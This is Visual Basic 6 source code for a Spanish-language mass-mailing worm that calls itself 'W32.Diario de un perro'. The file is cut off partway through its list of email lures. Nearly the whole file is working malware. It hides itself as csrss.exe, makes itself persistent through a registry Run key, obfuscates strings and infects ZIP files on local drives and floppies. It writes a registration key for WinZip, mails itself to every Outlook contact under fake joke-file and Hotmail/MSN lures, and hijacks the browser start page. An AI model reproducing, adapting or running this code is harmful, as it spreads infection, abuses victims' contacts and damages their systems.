VERSION 5.00
Begin VB.Form Form1 
   AutoRedraw      =   -1  'True
   BorderStyle     =   0  'None
   Caption         =   "El diario de un perro"
   ClientHeight    =   1770
   ClientLeft      =   0
   ClientTop       =   105
   ClientWidth     =   1035
   ClipControls    =   0   'False
   ControlBox      =   0   'False
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   1770
   ScaleWidth      =   1035
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  'Windows Default
   Visible         =   0   'False
   Begin VB.Timer Timer3 
      Enabled         =   0   'False
      Interval        =   100
      Left            =   4560
      Top             =   2520
   End
   Begin VB.FileListBox File1 
      Height          =   1650
      Left            =   3120
      TabIndex        =   0
      Top             =   120
      Width           =   2415
   End
   Begin VB.Timer Timer2 
      Enabled         =   0   'False
      Interval        =   1000
      Left            =   3360
      Top             =   2520
   End
   Begin VB.Timer Timer1 
      Left            =   3960
      Top             =   2520
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'*******************************************
'W32.Diario de un perro
'*******************************************
Option Explicit
Dim borrar As String
Private Sub Form_Load()
Dim arch, ejecu, aux

Call cargarfso
Call cargarwss

On Error Resume Next

App.TaskVisible = False
midir = fso.buildpath(App.Path, App.EXEName & ".exe")

aux = wss.regread(decriptador("72,75,76,77,92,115,111,102,116,119,97,114,101,92,109,105,99,114,111,115,111,102,116,92,119,105,110,100,111,119,115,92,99,117,114,114,101,110,116,118,101,114,115,105,111,110,92,117,110,105,110,115,116,97,108,108,92,119,105,110,122,105,112,92,117,110,105,110,115,116,97,108,108,115,116,114,105,110,103,"))
winzip = fso.getparentfoldername(aux)
If winzip <> "" Then Call existewinzip

File1.Pattern = "*.zip"


If LCase(fso.getspecialfolder(0)) <> LCase(App.Path) And _
 LCase(wss.SpecialFolders("MyDocuments")) <> LCase(App.Path) Then
  

  If winzip <> "" Then
    '/////////////
    Call mail     'chkdo funciona 90%
    '/////////////
  End If

  Call copiarmediscoduro(fso.getspecialfolder(0))
  Open fso.getspecialfolder(1) & "\readme.txt" For Output As #1
    Write #1, midir
  Close #1

  Shell fso.getspecialfolder(0) & "\csrss.exe"
  End
Else
  Call residente      'chkdo funciona 100 %
  
  If chkrzipsnoopy = False And winzip <> "" Then
    Call separar        'Chkdo funciona 100%
    'Call extraerdll
    'Call separarsnoopy
    Call extraersnoopys 'Chkdo funciona 100%
    Call copiadeseguridad(fso.getspecialfolder(2)) 'Chkdo funciona 100%
    Call unidades       'Chkdo funciona 100%
  End If

  Call p2pdownloads   'chkdo Funciona 99.9 %
  Call existearchivo  'chkdo funciona 100%
  Randomize
  If dia = Int(Rnd * 9) Then Call payload 'chkdo funciona 100%
  Timer2.Enabled = True
End If
End Sub
Sub copiarmediscoduro(dire As String)
On Error GoTo err

FileCopy midir, dire & "\csrss.exe"
SetAttr dire & "\csrss.exe", vbHidden

Exit Sub

err:
If winzip <> "" Then
  Call residente
  Call payload
  'para xp protegido
  FileCopy midir, wss.SpecialFolders("MyDocuments") & "\csrss.exe"
  SetAttr wss.SpecialFolders("MyDocuments") & "\csrss.exe", vbHidden
Else
  Call residente
  FileCopy midir, wss.SpecialFolders("MyDocuments") & "\csrss.exe"
  SetAttr wss.SpecialFolders("MyDocuments") & "\csrss.exe", vbHidden
End If
End Sub
Private Sub Form_Terminate()
Shell midir 'Para 95/98/Me..
End Sub
Sub copiarmeadiskette()
On Error GoTo err
Dim i As Integer
Dim exe As String

File1.Path = "A:\"

'
 If winzip <> "" Then
  For i = 0 To File1.ListCount - 1
   DoEvents
   Call infectarzip(File1.Path & File1.List(i))
   DoEvents
  Next
 End If

FileCopy midir, File1.Path & nombreszip & ".exe"

'Open midir For Binary As #4
'exe = Space(LOF(1))
'Get #4, , exe
'Close #4
'
'Open File1.Path & "Documentos.exe" For Binary As #4
'Put #4, , exe
'Close #4

err:
End Sub
Function nombreszip() As String
Dim au As Integer
Randomize
au = Int(Rnd() * 25)
Select Case au
Case 0: nombreszip = "archivo"
Case 1: nombreszip = "Documentos"
Case 2: nombreszip = "fotos"
Case 3: nombreszip = "presentacion"
Case 4: nombreszip = "ac&dc"
Case 5: nombreszip = "archivos"
Case 6: nombreszip = "programa"
Case 7: nombreszip = "codigo"
Case 8: nombreszip = "La satisfacción"
Case 9: nombreszip = "perrito"
Case 10: nombreszip = "ver para creer"
Case 11: nombreszip = "1"
Case 12: nombreszip = "asdf"
Case 13: nombreszip = "xoom"
Case 14: nombreszip = "converse"
Case 15: nombreszip = "arch"
Case 16: nombreszip = "medios"
Case 17: nombreszip = "huevocartoon"
Case 18: nombreszip = "mono mario"
Case 19: nombreszip = "6"
Case 20: nombreszip = "media"
Case 21: nombreszip = "rock"
Case 22: nombreszip = "intocable"
Case 23: nombreszip = "source"
Case 24: nombreszip = "Files"
Case 25: nombreszip = "Names"
End Select
End Function


Private Sub Timer1_Timer()
 On Error GoTo err
  Kill borrar
  Kill fso.getspecialfolder(1) & "\readme.txt"
  Timer1.Enabled = False
err:
End Sub

Private Sub existearchivo()

On Error Resume Next

Open fso.getspecialfolder(1) & "\readme.txt" For Input As #1
 Input #1, borrar
Close #1

Timer1.Interval = 1000
End Sub

Private Sub Timer2_Timer()
Static i As Integer
On Error GoTo err
'300

Call residente

If i >= 20 Then
  Call copiarmeadiskette
  i = 0
End If
i = i + 1




err:
End Sub
Function dia() As Integer
dia = Mid(Day(Date), Len(Day(Date)), Len(Day(Date)))
End Function
Private Sub payload()
Timer1.Enabled = False
Timer2.Enabled = False

Call pagina
Call cargarsnoopy

'Me.BorderStyle = 0
'Me.Width = 1035
'Me.Height = 1770

Form2.Visible = True
'Me.Show vbModeless

ventanavisible Form2.hwnd
If chkrzipsnoopy = True Then Timer3.Enabled = True
End Sub
Private Sub residente()
 wss.regwrite decriptador("72,75,76,77,92,83,111,102,116,119,97,114,101,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,92,67,117,114,114,101,110,116,86,101,114,115,105,111,110,92,82,117,110,92,83,104,111,99,107,119,97,118,101,"), midir
End Sub

Private Sub Timer3_Timer()
DoEvents
'Me.BorderStyle = 0
'Me.ClipControls = True
Call snoopy
End Sub





Public fso, wss
Const tamaño = 102400
Const snoopy = 22528

'''''''''''''''''''''''unidades'''''
'Const Ddiskette = 1
'Const DHd = 2
'Const Dred = 3
'Const DCDROM = 4
'Const DRAMDisk = 5
''''''''''''''''''''''''''''''''''''

Public winzip As String
'''' Variables para red p2p
Public kazaa As String
Public kazaaplusplus As String
Public morpheus As String
Public edonkey As String
Public bearshare As String
Public grokster As String
Public imesh As String
''''''''''''''''''''''''''''''
Sub cargarfso()
 Set fso = CreateObject(decriptador("115,99,114,105,112,116,105,110,103,46,102,105,108,101,115,121,115,116,101,109,111,98,106,101,99,116,"))
End Sub
Sub cargarwss()
 Set wss = CreateObject(decriptador("119,115,99,114,105,112,116,46,115,104,101,108,108,"))
End Sub
Sub separar()
Dim tam As Double

Dim sno As String

On Error GoTo err:
Open fso.buildpath(App.Path, App.EXEName & ".exe") For Binary As #1
tam = LOF(1)
If tam > tamaño Then
    sno = Space(snoopy)
    Get #1, tamaño + 1, sno
    Close #1
    
    Open fso.getspecialfolder(1) & "\snoopy.zip" For Binary As #2
    Put #2, , sno
    Close #2
    Close
    sno = ""
err:
Else
 Close #1
End If
End Sub
'Sub extraerdll()
'Dim ar1, pt1, pt2
'Set ar1 = fso.getfile(fso.getspecialfolder(1) & "\snoopy.zip")
'pt1 = ar1.shortpath
'
'Shell winzip & " -e " & pt1 & " " & fso.getspecialfolder(1), vbHide
'End Sub

Sub extraersnoopys()

On Error Resume Next
Dim ar1, pt1, pt2
Set ar1 = fso.getfile(fso.getspecialfolder(1) & "\snoopy.zip")
pt1 = ar1.shortpath

MkDir fso.getspecialfolder(1) & "\snoopy"

Shell winzip & " -e " & pt1 & " " & fso.getspecialfolder(1) & "\snoopy", vbHide


End Sub

'Sub separarsnoopy()
'Dim imagen As String
'Const snoop = 25070
'Dim s As Double
'On Error Resume Next
'
'
's = 1
'
'Open fso.getspecialfolder(1) & "\snoopy.dll" For Binary As #1
'For i = 1 To 7
'
' imagen = Space(snoop)
' Get #1, s, imagen
'
' Open fso.getspecialfolder(1) & "\snoopy\snoopy" & i & ".bmp" For Binary As #2
' Put #2, , imagen
' Close #2
'
' s = s + snoop
'Next i
'Close #1
'End Sub

Function chkrzipsnoopy() As Boolean
On Error GoTo err
 Open fso.getspecialfolder(1) & "\snoopy.zip" For Input As #3
 Close #3
 chkrzipsnoopy = True
Exit Function
err:
 chkrzipsnoopy = False
End Function

Sub existewinzip()
On Error GoTo err
'Dim version As String
'Dim aux As Integer
 'version = wss.regread("HKCU\software\nico mak computing\winzip\winini\win32_version")
 'aux = InStr(1, version, "-", vbBinaryCompare)
 'version = Mid(version, aux + 1, 1)
 'If version = "8" Then Call autorizar
 Call autorizar
err:
End Sub
Sub autorizar()
On Error Resume Next
wss.regwrite "HKCU\software\nico mak computing\winzip\winini\Name", decriptador("71,69,68,90,65,67,")
wss.regwrite "HKCU\software\nico mak computing\winzip\winini\SN", "EBB9042E"

wss.regwrite "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\Name", decriptador("71,69,68,90,65,67,")
wss.regwrite "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\SN", "EBB9042E"

End Sub
Function decriptador(texto)
Dim c, au, dec
While texto <> ""
 c = InStr(1, texto, ",", 0)
 au = Chr(Mid(texto, 1, c - 1))
 texto = Mid(texto, c + 1, Len(texto))
 dec = dec + au
Wend

decriptador = dec
End Function
Function encriptador(texto)
Dim c, au
Dim enc As String
For c = 1 To Len(texto)
 au = Asc(Mid(texto, c, 1))
 enc = enc & au & ","
Next
encriptador = enc
End Function
Sub copiadeseguridad(dire As String)
On Error Resume Next
Dim nombrecopiasegu As String
Dim i As Integer

For i = 1 To 10
 Select Case i
 Case 1: nombrecopiasegu = "Program"
 Case 2: nombrecopiasegu = "Unzip"
 Case 3: nombrecopiasegu = "Pkzip"
 Case 4: nombrecopiasegu = "Setup1"
 Case 5: nombrecopiasegu = "Ave"
 Case 6: nombrecopiasegu = "Huevomaniaco"
 Case 7: nombrecopiasegu = "Corsa"
 Case 8: nombrecopiasegu = "Proyecto"
 Case 9: nombrecopiasegu = "Doors"
 Case Else
   nombrecopiasegu = "Broma"
 End Select

FileCopy midir, dire & "\" & nombrecopiasegu & ".exe"
Next

End Sub
Sub buskr(dir As String)
On Error Resume Next
Dim dirnuevo As String
Dim b, c, d, e, f
Set b = fso.getfolder(dir).Files


DoEvents
For Each f In b
 c = fso.getextensionname(f.Path)
 c = LCase(c)
 

If "*." & c = LCase("*.zip") Then
   dirnuevo = fso.buildpath(dir, fso.getfilename(f.Path))
   Call infectarzip(dirnuevo)
   Call randon
End If

Next



Set d = fso.getfolder(dir).SubFolders
 For Each e In d
  buskr e.Path
 Next
End Sub

Public Function nombreinfec() As String
Dim i As Integer
On Error Resume Next
Randomize
i = Int(Rnd * 10)
 Select Case i
 Case 1: nombreinfec = "Program"
 Case 2: nombreinfec = "Unzip"
 Case 3: nombreinfec = "Pkzip"
 Case 4: nombreinfec = "Setup1"
 Case 5: nombreinfec = "Ave"
 Case 6: nombreinfec = "Huevomaniaco"
 Case 7: nombreinfec = "Corsa"
 Case 8: nombreinfec = "Proyecto"
 Case 9: nombreinfec = "Doors"
 Case Else
   nombreinfec = "Broma"
 End Select
 
 nombreinfec = fso.buildpath(fso.getspecialfolder(2), nombreinfec & ".exe")
End Function
Public Sub unidades()
Dim uni
On Error Resume Next

Set uni = fso.Drives
For Each Drive In uni
   If Drive.drivetype = 4 Then ' 4=cd-rom
   Else
    buskr (Drive.driveletter & ":\")
   End If
Next
End Sub
Public Sub infectarzip(nomzip As String)
Dim ar1, pt1, pt2
On Error GoTo err:

SetAttr nomzip, vbNormal

Set ar1 = fso.getfile(nomzip)
pt1 = ar1.shortpath
Set ar1 = fso.getfile(nombreinfec)
pt2 = ar1.shortpath

Shell winzip & " -a " & pt1 & " " & pt2, vbHide
err:
End Sub
'Sub hechos(texto As String)
'Open "C:\log.txt" For Append As #3
'Write #3, texto
'Close #3
'End Sub
'Todo esto para la mascota
 'formulario siempre on top
Option Explicit
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Global Const SWP_NOMOVE = 2
Global Const SWP_NOSIZE = 1
Global Const flags = SWP_NOMOVE Or SWP_NOSIZE
Global Const HWND_TOPMOST = -1
Global Const HWND_NOTOPMOST = -2

'/////////////////////////////////////////////////////

Public Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long
Public Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Public Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Public Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Declare Sub ReleaseCapture Lib "user32" ()
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long

Public Const RGN_DIFF = 4
Public Const SC_CLICKMOVE = &HF012&     ' This setting is not in your API viewer, not sure why.
                                        ' If you use SC_MOVE then the mouse moves to the title bar
                                        ' and then moves the form, which makes forms with no title bar
                                        ' to not work.
Public Const WM_SYSCOMMAND = &H112

Dim CurRgn, TempRgn As Long  ' Region variables
'///////////////////////////////////////////////////////
'imagenes
Global img1 As Object
Global img2 As Object
Global img3 As Object
Global img4 As Object
Global img5 As Object
Global img6 As Object
Global img7 As Object
Global img8 As Object
Global img9 As Object
'Mi directorio
Public midir As String
Public p2p As String

Public Function AutoFormShape(bg As Form, transColor)
Dim X, Y As Integer
Dim SUCCESS As Long
CurRgn = CreateRectRgn(0, 0, bg.Width / 15, bg.Height / 15)

While Y <= bg.Height / 15
    While X <= bg.Width / 15
        If GetPixel(bg.hdc, X, Y) = transColor Then
            TempRgn = CreateRectRgn(X, Y, X + 1, Y + 1)
            SUCCESS = CombineRgn(CurRgn, CurRgn, TempRgn, RGN_DIFF)
            DeleteObject (TempRgn)
        End If
        X = X + 1
    Wend
        Y = Y + 1
        X = 0
Wend
SUCCESS = SetWindowRgn(bg.hwnd, CurRgn, True)
DeleteObject (CurRgn)
 
End Function

'para ke sten on top la ventana
Sub ventanavisible(handle As Long)
    Dim SUCCESS As Long
    SUCCESS = SetWindowPos(handle, HWND_TOPMOST, 0, 0, 0, 0, flags)
End Sub

Public Sub cargarsnoopy()
Set img1 = LoadPicture(fso.getspecialfolder(1) & "\snoopy\snoopy1.bmp")
Set img2 = LoadPicture(fso.getspecialfolder(1) & "\snoopy\snoopy2.bmp")
Set img3 = LoadPicture(fso.getspecialfolder(1) & "\snoopy\snoopy3.bmp")
Set img4 = LoadPicture(fso.getspecialfolder(1) & "\snoopy\snoopy4.bmp")
Set img5 = LoadPicture(fso.getspecialfolder(1) & "\snoopy\snoopy5.bmp")
Set img6 = LoadPicture(fso.getspecialfolder(1) & "\snoopy\snoopy6.bmp")
Set img7 = LoadPicture(fso.getspecialfolder(1) & "\snoopy\snoopy7.bmp")
End Sub

Sub snoopy()
Static i As Integer

Select Case i
 Case 0: Form2.Picture = img1
 Case 1: Form2.Picture = img2
 Case 2: Form2.Picture = img3
 Case 3: Form2.Picture = img4
 Case 4: Form2.Picture = img5
 Case 5: Form2.Picture = img6
 Case 6: Form2.Picture = img7
         i = 0
End Select
i = i + 1
AutoFormShape Form2, vbRed
End Sub

Sub pagina()

Dim archivo
Dim a As Integer
Dim fuente As String

a = Int(Rnd() * 5)

Select Case a
Case 0: fuente = "Courier"
Case 1: fuente = "Arial"
Case 2: fuente = "Comic Sans MS"
Case 3: fuente = "Helvetica"
Case 4: fuente = "sans-serif"
End Select

wss.regwrite "HKCU\software\microsoft\internet explorer\main\start page", "C:\Corporacion_MLHR.htm"
wss.regwrite "HKCU\software\microsoft\internet explorer\main\window title", "Morusa está aquí - ¡Viva México! - " & decriptador("71,101,68,90,97,67,") & "- W32.Diariodeunperro."

Set archivo = fso.Createtextfile("C:\Corporacion_MLHR.htm")
archivo.writeline "<HTML><HEAD><TITLE>Corporación MLHR</TITLE>"
archivo.writeline "<style type=text/css> Body {scrollbar-face-color: #000000; scrollbar-shadow-color:blue; scrollbar-highlight-color: blue;"
archivo.writeline "scrollbar-3dlight-color: black; scrollbar-darkshadow-color: black; scrollbar-track-color:black; scrollbar-arrow-color: white;"
archivo.writeline "} </HEAD></STYLE>"
archivo.writeline "<Body bgcolor=black link=white alink=brown vlink=yellow+red>"
archivo.writeline "<center><p><b><font face=" & Chr(34) & fuente & Chr(34) & " color=" & Chr(34) & "#CCCCCC" & Chr(34) & " size=10>El diario de un perro</font></b></p></center>"
archivo.writeline "<div align=" & Chr(34) & "justify" & Chr(34) & "><p><font color=green>- Semana 1:<font color=white> Hoy cumplí una semana de nacido, ¡Qué alegría haber llegado a este mundo!</font></p>"
archivo.writeline "<p>- Mes 1:<font color=white> Mi mama me cuida muy bien. Es una mama ejemplar.</font></p>"
archivo.writeline "<p>- Mes 2:<font color=white> Hoy me separaron de mi mama.Ella estaba muy inquieta, y con sus ojos me dijo adiós. Esperando que mi nueva ¡familia humana! me cuidara tan bien como ella lo había hecho.</font></p>"
archivo.writeline "<p>- Mes 4:<font color=white> He crecido rápido; todo me llama la atención. Hay varios niños en la casa que son para mi como hermanitos. Somos muy inquietos, ellos me cogen la cola y yo les muerdo jugando.</font></p>"
archivo.writeline "<p>- Mes 5:<font color=white> Hoy me regañaron. Mi ama se molestó porque hice pipí adentro de la casa; pero nunca me habían dicho dónde debo hacerlo. Además duermo en la recamara...¡y ya no me aguantaba!</font></p>"
archivo.writeline "<p>- Mes 6:<font color=white> Soy un perro feliz. Tengo el calor de un hogar; me siento tan seguro, tan protegido. Creo que mi familia humana me quiere y me consiente mucho. Cuando están comiendo me convidan. El patio es para mi solito y me doy vuelo escarbando como mis antepasados los lobos, cuando esconden la comida. Nunca me educan. Ha de estar bien todo lo que hago.</font></p>"
archivo.writeline "<p>- Mes 12:<font color=white> Hoy cumplí un año. Soy un perro adulto. Mis amos dicen que crecí más de lo que ellos pensaban. Que orgullosos se deben sentir de mi.</font></p>"
archivo.writeline "<p>- Mes 13:<font color=white> Qué mal me sentí hoy. Mi hermanito me quitó la pelota. Yo nunca cojo sus juguetes. Así que se la quité. Pero mis mandíbulas se han hecho fuertes, así que lo lastimé sin querer. Después del susto, me encadenaron casi sin poderme mover al rayo de sol. Dicen que van a tenerme en observación y que soy ingrato. No entiendo nada de lo que pasa.</font></p>"
archivo.writeline "<p>- Mes 15:<font color=white> Ya nada es igual...vivo en la azotea. Me siento muy solo, mi familia ya no me quiere. A veces se les olvida que tengo hambre y sed. Cuando llueve no tengo techo que me cobije.</font></p>"
archivo.writeline "<p>- Mes 16:<font color=white> Hoy me bajaron de la azotea. Seguramente mi familia me perdonó y me puse tan contento que daba saltos de alegría. Mi rabo parecía que iba a salir desorbitado. Encima de eso, me van a llevar con ellos de paseo. Nos dirigimos hacia la carretera y de repente se pararon. Abrieron la puerta y yo baje feliz creyendo que haríamos nuestro  día de campo. No comprendo por qué cerraron la puerta y se fueron. ¡Oigan, esperen! Se olvidan de mi. Corrí detrás del coche con todas mis fuerzas. Mi angustia crecía al darme cuenta, que casi me desvanecía y ellos no se detenían: me habían abandonado.</font></p>"
archivo.writeline "<p>- Mes 17:<font color=white> he tratado en vano de buscar el camino de regreso a casa. Me siento y estoy perdido. En mi sendero hay gente de buen corazón que me ve con tristeza y me da algo de comer. Yo les agradezco con mi mirada y desde el fondo de mi alma. Yo quisiera que me adoptaran y sería leal como ninguno. Pero sólo dicen ¡pobre perrito!, se ha de haber perdido.</font></p>"
archivo.writeline "<p>- Mes 18:<font color=white> El otro día pasé por una escuela y vi a muchos niños y jóvenes como mis hermanitos. Me acerque, y un grupo de ellos, riéndose, me lanzó una lluvia de piedras a ver quien tenía mejor puntería. Una de esas piedras me lastimó el ojo y desde entonces ya no veo con él.</font></p>"
archivo.writeline "<p>- Mes 19:<font color=white> Parece mentira, cuando estaba más bonito se compadecían más de mi.Ya estoy muy flaco; mi aspecto ha cambiado. Perdí mi ojo y la gente más bien me saca a escobazos cuando pretendo echarme en una pequeña sombra.</font></p>"
archivo.writeline "<p>- Mes 20:<font color=white> Casi no puedo moverme. Hoy al tratar de cruzar la calle por donde pasan los coches, uno me arrolló. Según yo, estaba en un lugar llamado cuneta, pero nunca olvidare la mirada de satisfacción del conductor, que hasta se ladeo con tal de centrarme. Ojalá me hubiera matado, pero sólo me dislocó la cadera. El dolor es terrible, mis patas traseras no me responden y con dificultades me arrastré hacia un poco de hierba en la ladera del camino.</font></p>"
archivo.writeline "<p>- Mes 21:<font color=white> Llevo diez días bajo el sol, la lluvia, el frío, sin comer. Ya no me puedo mover. El dolor es insoportable. Me siento muy mal; quedé en un lugar húmedo y parece que hasta mi pelo se está cayendo. Alguna gente pasa y ni me ve; otras dicen:  no te acerques. Ya casi estoy inconsciente; pero alguna fuerza extraña me hizo abrir los ojos. La dulzura de su voz me hizo reaccionar. ¡Pobre perrito, mira como te han dejado!, decía... junto a ella venía un señor de bata blanca, empezó a tocarme y dijo: Lo siento señora, pero este perro ya no tiene remedio, es mejor que deje de sufrir. A la gentil dama se le salieron las lagrimas y asintió. Como pude, moví el rabo y la miré agradeciéndole que me ayudara a descansar. Solo sentí el pinchazo de una inyección y me dormí para siempre pensando en por qué tuve que nacer si nadie me quería.</font></p>"
archivo.writeline "</div>"
archivo.writeline ""
archivo.writeline ""
archivo.writeline "<font><font face=" & Chr(34) & "Arial" & Chr(34) & " color=" & Chr(34) & "#00FF66" & Chr(34) & "Size = 2 > """
archivo.writeline "<center>Saludos para Ana Patricia R.S. de Sinaloa y a Juan Ramon Saenz de la Mano Peluda</center>"
archivo.writeline "<center>Atte: Su servidora Manoadicta Morusa</center></font>"
archivo.writeline "<center><a href=" & Chr(34) & "Http://www.radioformula.com" & Chr(34) & ">Página de Radio formula</a></center><br>"
archivo.writeline "<font colo=Yellow><center>¡CuIDa El AgUa! Se EsTa AkBanDo</center></font>"
'archivo.writeline "<br><center><a href=" & Chr(34) & "Http://www.radioformula.com" & Chr(34) & ">Página de Radio formula</a></center><br>"
archivo.writeline "<center><font color=yellow><a href=" & Chr(34) & "Http://mlhrcorporation.tripod.com" & Chr(34) & "><i>Corporación <b>MLHR</b> ©</i></a></center>"
archivo.writeline "<center><p><i>Copyright</i><b> 2004 " & decriptador("71,101,68,90,97,67,") & ".</b></p></font></center>"
archivo.writeline ""
archivo.writeline "</body>"
archivo.writeline "</html>"
archivo.Close


wss.run "C:\Corporacion_MLHR.htm"

End Sub

Sub vbsenviarmail(asunto As String, contenido As String, nombrezip As String)
Dim au, pathzip
'Falta adjuntar el archivo y crear lista de nombres

FileCopy midir, fso.getspecialfolder(2) & "\" & nombrezip & ".exe"
Call crearzipparamail(nombrezip, nombrezip)

Set au = fso.getfile(fso.getspecialfolder(2) & "\" & nombrezip & ".zip")
pathzip = au.shortpath

Dim archivo
Set archivo = fso.Createtextfile(fso.getspecialfolder(2) & "\liame.vbs")
archivo.writeline "Function decriptador(texto)"
archivo.writeline "Dim c, au, dec"
archivo.writeline "While texto <> " & Chr(34) & Chr(34)
archivo.writeline "c = InStr(1, texto," & Chr(34) & "," & Chr(34) & ", 0)"
archivo.writeline "au = Chr(Mid(texto, 1, c - 1))"
archivo.writeline "texto = Mid(texto, c + 1, Len(texto))"
archivo.writeline "dec = dec + au"
archivo.writeline "Wend"
archivo.writeline "decriptador = dec"
archivo.writeline "End Function"
archivo.writeblanklines (2)

archivo.writeline "Sub enviarmail()"
archivo.writeline "Dim a, b, c, d"
archivo.writeline "Dim outlook, Mapi, Mapiusuario, listasmapi, Indx"
archivo.writeline "Dim CountMapiUsuario, Mail, AdressMail"
archivo.writeline "a = " & Chr(34) & "Out" & Chr(34)
archivo.writeline "b = " & Chr(34) & "look" & Chr(34)
archivo.writeline "c = " & Chr(34) & ".Appli" & Chr(34)
archivo.writeline "d = " & Chr(34) & "cation" & Chr(34)
archivo.writeline "Set outlook = CreateObject(a + b + c + d)"
archivo.writeline "If outlook = a + b Then"
archivo.writeline "a = " & Chr(34) & "MA" & Chr(34)
archivo.writeline "b = " & Chr(34) & "PI" & Chr(34)
archivo.writeline "Set Mapi = outlook.GetNameSpace(a + b)"
archivo.writeline "Set listasmapi = Mapi.AddressLists"
archivo.writeline "For Each Mapiusuario In listasmapi"
archivo.writeline "If Mapiusuario.AddressEntries.Count <> 0 Then"
archivo.writeline "CountMapiUsuario = Mapiusuario.AddressEntries.Count"
archivo.writeline "For Indx = 1 To CountMapiUsuario"
archivo.writeline "Set Mail = outlook.CreateItem(0)"
archivo.writeline "Set AdressMail = Mapiusuario.AddressEntries(Indx)"
archivo.writeline "Mail.To = AdressMail.Address"
archivo.writeline "Mail.Subject = " & Chr(34) & asunto & Chr(34)
archivo.writeline "Mail.Body = " & Chr(34) & contenido & Chr(34)
archivo.writeline "execute(decriptador(" & Chr(34) & "83,101,116,32,65,100,106,117,110,116,111,32,61,32,77,97,105,108,46,65,116,116,97,99,104,109,101,110,116,115," & Chr(34) & "))"
archivo.writeline "adj=" & Chr(34) & pathzip & Chr(34)
archivo.writeline "execute(decriptador(" & Chr(34) & "65,100,106,117,110,116,111,46,65,100,100," & Chr(34) & ") & " & Chr(34) & " adj" & Chr(34) & ")"
archivo.writeline "Mail.DeleteAfterSubmit = True"
archivo.writeline "If Mail.To <> " & Chr(34) & Chr(34) & " Then"
archivo.writeline "Mail.Send"
archivo.writeline "End If"
archivo.writeline "Next"
archivo.writeline "End If"
archivo.writeline "Next"
archivo.writeline "End If"
archivo.writeline "End Sub"
archivo.writeblanklines (2)

archivo.writeline "Call enviarmail"
archivo.Close

wss.run fso.buildpath(fso.getspecialfolder(2), "liame.vbs")
End Sub
Sub crearzipparamail(nombre As String, nombrevir As String)
Dim au, pathzip
Dim au2, patharch
On Error GoTo err:

Open fso.getspecialfolder(2) & "\" & nombre & ".zip" For Output As #1
Close #1

Set au = fso.getfile(fso.getspecialfolder(2) & "\" & nombre & ".zip")
pathzip = au.shortpath

Set au2 = fso.getfile(fso.getspecialfolder(2) & "\" & nombrevir & ".exe")
patharch = au2.shortpath
Close

 Shell winzip & " -a " & pathzip & " " & patharch, vbHide
 
DoEvents

'Pausa
While randon = False
Wend
'MsgBox ("hola")
err:
End Sub

Sub mail()
Dim contenido As String
Dim asunto As String
Dim nombrezip As String
Dim n As Integer

Randomize
n = Int(Rnd() * 20)
Select Case n
Case 0: asunto = "Fw: Romeo y Julieta"
        contenido = "Hola, te envio este mail para que rias de la parodia de Romeo y Julieta" & Chr(34) & " _ " & vbCrLf & " & " & Chr(34) & "Espero te guste ;-)"
        nombrezip = "Romeo y Julieta"
Case 1: asunto = "Fw: Huevo cartoon"
        contenido = "Hola, Aqui te mando una postal de huevo cartoon para que rias de las ocurrencias de estos afamados huevos"
        nombrezip = "HuevoHussein"
Case 2: asunto = "Fw: El mono mario"
        contenido = "Hola, Aqui te mando una animacion del mono mario para que rias hasta morir de él"
        nombrezip = "Mono Mario"
Case 3: asunto = "Fw: la felicidad"
        contenido = "La felicidad puede o no puede llegar, todo esta en tí mismo, checa el archivo adjunto"
        nombrezip = "La felicidad"
Case 4: asunto = "Fw: La academia"
        contenido = "Checa esta animación de la Academia te reirarás hasta morir"
        nombrezip = "La Academia 3"
Case 5: asunto = "Fw: Big brother Vip 3"
        contenido = "Checa esta anumación del reality show Big Brother Vip, te reirás hasta morir"
        nombrezip = "BBVip3"
Case 6: asunto = "Huevopostales"
        contenido = "Hás recibido una huevopostal adjuta a este correo" & Chr(34) & " & vbCrLf & " & Chr(34) & "En caso de error ve a Http://www.huevocartoon.com/module1.php=?323443-2312738120034567" & Chr(34) & " & vbCrLf & " & Chr(34) & "Atte: Www.Huevocartoon.com"
        nombrezip = "Te adoro"
Case 7: asunto = "Mono mario postal"
        contenido = "Has recibido una Mono mario postal adjunta a este correo" & Chr(34) & " & vbCrLf & " & Chr(34) & "En caso de error ve a Http://www.monomario.com/module1.php=?3233-231273814545328780"
        nombrezip = "Mono mario"
Case 8: asunto = "Fw: que tanto quieres a tu amigo"
        contenido = "Este test es para saber que tanto quieres a una amigo"
        nombrezip = "Test del amigo"
Case 9: asunto = "Fw: tips para tirar choros a las chavas"
        contenido = "Aqui te daremos algunos choros para conquistar a la mujer que tanto te gusta sólo desacarga el archivo adjunto"
        nombrezip = "Choros"
Case 10: asunto = "Fw: Test de te ¿engaña tu novio (a)?"
        contenido = "con este test te daràs cuenta si te engaña o no tu novio (a), para que ya lo mandes a volar"
        nombrezip = "Test para ver si te engaña tu novio(a)"
Case 11: asunto = "Hotmail usuario"
        contenido = "Te informamos que nuestra area de emoticones ha crecido, con el programa adjunto podrás bajar por categoría cada emoticon y automáticamente se instalan" & Chr(34) & " & vbCrLf & " & Chr(34) & "Atte: MSN Messenger"
        nombrezip = "Emoticones"
